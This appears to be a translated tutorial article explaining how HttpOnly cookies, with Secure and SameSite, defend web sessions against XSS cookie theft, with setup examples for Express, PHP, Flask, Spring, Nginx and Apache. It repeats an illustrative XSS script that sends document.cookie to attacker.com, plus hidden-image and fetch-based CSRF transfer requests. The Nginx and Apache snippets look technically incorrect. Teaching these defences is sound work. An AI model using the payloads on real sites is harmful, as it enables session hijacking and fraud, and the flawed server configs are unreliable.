乐闻世界logo
搜索文章和话题

What is HttpOnly Cookie? How to use HttpOnly Cookie to prevent XSS attacks?

2月21日 16:27

Answer

HttpOnly Cookie is an important security mechanism used to prevent XSS attacks from stealing cookies. It is an attribute of cookies that, when set to true, prevents JavaScript from accessing that cookie via document.cookie.

Definition: HttpOnly is an attribute of cookies that, when set to true, the browser prohibits JavaScript from accessing that cookie, thereby preventing malicious scripts from stealing cookies through XSS attacks.

Basic Syntax:

javascript
// Set HttpOnly Cookie res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' });

1. Basic Structure of Cookies

HTTP Response Header:

shell
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Expires=Wed, 21 Oct 2025 07:28:00 GMT

Cookie Attribute Description:

  • sessionId=abc123: Cookie name and value
  • HttpOnly: Prohibits JavaScript access
  • Secure: Only sent over HTTPS connections
  • SameSite=Strict: Prevents cross-site requests from carrying cookies
  • Path=/: Valid path for the cookie
  • Expires: Cookie expiration time

2. HttpOnly Mechanism

Without HttpOnly:

javascript
// JavaScript can access cookies const cookies = document.cookie; console.log(cookies); // sessionId=abc123; otherCookie=value // Malicious scripts can steal cookies const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));

With HttpOnly:

javascript
// JavaScript cannot access HttpOnly cookies const cookies = document.cookie; console.log(cookies); // otherCookie=value (sessionId will not be displayed) // Malicious scripts cannot steal HttpOnly cookies const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); // Can only steal non-HttpOnly cookies

Attack Scenario: Attackers inject malicious scripts through XSS vulnerabilities, attempting to steal user session cookies.

Without HttpOnly:

html
<!-- Attacker injects malicious script in comment section --> <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>

Result: Attacker successfully steals all cookies, including session cookies.

With HttpOnly:

html
<!-- Attacker injects malicious script in comment section --> <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>

Result: Attacker can only steal non-HttpOnly cookies, session cookies are protected.

2. Protect Session Security

Correct Session Cookie Settings:

javascript
// Node.js Express example app.use(session({ secret: 'your-secret-key', cookie: { httpOnly: true, // Prohibit JavaScript access secure: true, // Only send over HTTPS sameSite: 'strict', // Prevent CSRF maxAge: 3600000 // Expire in 1 hour } }));

1. Server-side Settings

Node.js Express:

javascript
// Set HttpOnly Cookie res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 3600000 }); // Use session middleware app.use(session({ secret: 'secret', cookie: { httpOnly: true, secure: true, sameSite: 'strict' } }));

PHP:

php
// Set HttpOnly Cookie setcookie('sessionId', $sessionId, [ 'expires' => time() + 3600, 'path' => '/', 'domain' => 'example.com', 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ]); // Use session_set_cookie_params session_set_cookie_params([ 'lifetime' => 3600, 'path' => '/', 'domain' => 'example.com', 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ]); session_start();

Python Flask:

python
from flask import Flask, make_response app = Flask(__name__) @app.route('/login') def login(): resp = make_response('Login successful') resp.set_cookie('sessionId', session_id, httponly=True, secure=True, samesite='Strict') return resp

Java Spring Boot:

java
import javax.servlet.http.Cookie; @GetMapping("/login") public String login(HttpServletResponse response) { Cookie cookie = new Cookie("sessionId", sessionId); cookie.setHttpOnly(true); cookie.setSecure(true); response.addCookie(cookie); return "Login successful"; }

2. Configuration Examples

Nginx Configuration:

nginx
server { listen 443 ssl; server_name example.com; location / { proxy_set_header Set-Cookie "sessionId=$upstream_http_set_cookie; HttpOnly; Secure; SameSite=Strict"; proxy_pass http://backend; } }

Apache Configuration:

apache
<VirtualHost *:443> ServerName example.com DocumentRoot /var/www/html Header edit Set-Cookie "(^.*; HttpOnly; Secure; SameSite=Strict)$" "$1" </VirtualHost>

1. All Session Cookies Should Have HttpOnly Set

Correct Approach:

javascript
// Session cookies res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' }); // Authentication tokens res.cookie('authToken', authToken, { httpOnly: true, secure: true, sameSite: 'strict' });

2. Use in Combination with Other Security Attributes

Complete Cookie Security Settings:

javascript
res.cookie('sessionId', sessionId, { httpOnly: true, // Prevent XSS theft secure: true, // Only send over HTTPS sameSite: 'strict', // Prevent CSRF path: '/', // Limit path domain: 'example.com', // Limit domain maxAge: 3600000 // Set expiration time });

3. Distinguish Different Types of Cookies

Session Cookies (HttpOnly):

javascript
// Session cookies for authentication res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' });

Functional Cookies (Non-HttpOnly):

javascript
// Functional cookies for frontend features (such as theme preferences) res.cookie('theme', 'dark', { httpOnly: false, // Allow JavaScript access secure: true, sameSite: 'lax' });

1. Cannot Completely Prevent XSS Attacks

Attacks That Can Still Be Performed:

javascript
// Even with HttpOnly, XSS can still: // 1. Modify DOM content document.getElementById('content').innerHTML = '<h1>Malicious content</h1>'; // 2. Redirect users window.location = 'http://malicious.com'; // 3. Send AJAX requests (automatically carries cookies) fetch('/api/transfer', { method: 'POST', body: JSON.stringify({ to: 'attacker', amount: 10000 }), credentials: 'include' // Automatically carries HttpOnly cookies }); // 4. Steal other non-HttpOnly cookies const nonHttpOnlyCookies = document.cookie;

2. Cannot Prevent CSRF Attacks

CSRF Attack Example:

html
<!-- Even with HttpOnly, CSRF attacks are still effective --> <img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">

Protect Against CSRF:

javascript
// Need to combine SameSite Cookie and CSRF Token res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' // Prevent CSRF });

3. Cannot Prevent Network Interception

Man-in-the-Middle Attack:

shell
// If HTTPS is not used, cookies can still be intercepted // Must set secure: true res.cookie('sessionId', sessionId, { httpOnly: true, secure: true // Force HTTPS });

1. Combine with Content Security Policy

javascript
// Set CSP app.use((req, res, next) => { res.setHeader('Content-Security-Policy', "default-src 'self'; " + "script-src 'self'; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data: https:;" ); next(); }); // Set HttpOnly Cookie res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' });
javascript
// SameSite=Strict: Strictest protection res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' // Completely prevent cross-site requests from carrying cookies }); // SameSite=Lax: Balance security and user experience res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'lax' // Allow top-level navigation to carry cookies });

3. Combine with CSRF Token

javascript
// Set HttpOnly Cookie res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' }); // Generate CSRF Token const csrfToken = generateCSRFToken(); res.cookie('csrfToken', csrfToken, { httpOnly: true, secure: true, sameSite: 'strict' }); // Return CSRF Token in response res.json({ csrfToken });

Real-world Case Analysis

Case 1: E-commerce Platform

Problem: The e-commerce platform did not set HttpOnly cookies, leading to XSS attacks stealing user sessions.

Attack Code:

javascript
// Attacker injects in product review section <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>

Fix:

javascript
// Set HttpOnly Cookie app.use(session({ secret: 'secret', cookie: { httpOnly: true, secure: true, sameSite: 'strict' } }));

Case 2: Online Banking

Problem: The banking website set HttpOnly cookies but not SameSite, still facing CSRF attacks.

Attack Code:

html
<!-- CSRF attack --> <img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">

Fix:

javascript
// Complete cookie security settings app.use(session({ secret: 'secret', cookie: { httpOnly: true, // Prevent XSS secure: true, // Force HTTPS sameSite: 'strict' // Prevent CSRF } }));

Detection and Verification

1. Browser Developer Tools Check

Steps:

  1. Open browser developer tools (F12)
  2. Switch to Application or Storage tab
  3. View Cookies
  4. Check if HttpOnly column is checked

2. JavaScript Verification

Test Code:

javascript
// Test if cookies can be accessed by JavaScript const cookies = document.cookie; console.log('Accessible cookies:', cookies); // If session cookie is not in output, HttpOnly is effective

3. Network Request Check

Steps:

  1. Open browser developer tools (F12)
  2. Switch to Network tab
  3. Send request
  4. View Cookie in request headers
  5. Check Set-Cookie in response headers

Summary

HttpOnly Cookie is an effective measure to prevent XSS attacks from stealing cookies, but it is not a panacea. Proper use of HttpOnly Cookie requires attention to the following points:

Best Practices:

  1. All session cookies should have HttpOnly set
  2. Combine with secure attribute to force HTTPS
  3. Combine with sameSite attribute to prevent CSRF attacks
  4. Distinguish different types of cookies, only set HttpOnly for sensitive cookies
  5. Combine with other security measures (CSP, CSRF Token, etc.) to build multi-layered defense

Limitations:

  1. Cannot completely prevent XSS attacks
  2. Cannot prevent CSRF attacks
  3. Cannot prevent network interception
  4. Not suitable for cookies that need JavaScript access

By properly using HttpOnly Cookie and combining it with other security measures, the security of web applications can be effectively improved, preventing cookie theft and session hijacking.

标签:XSS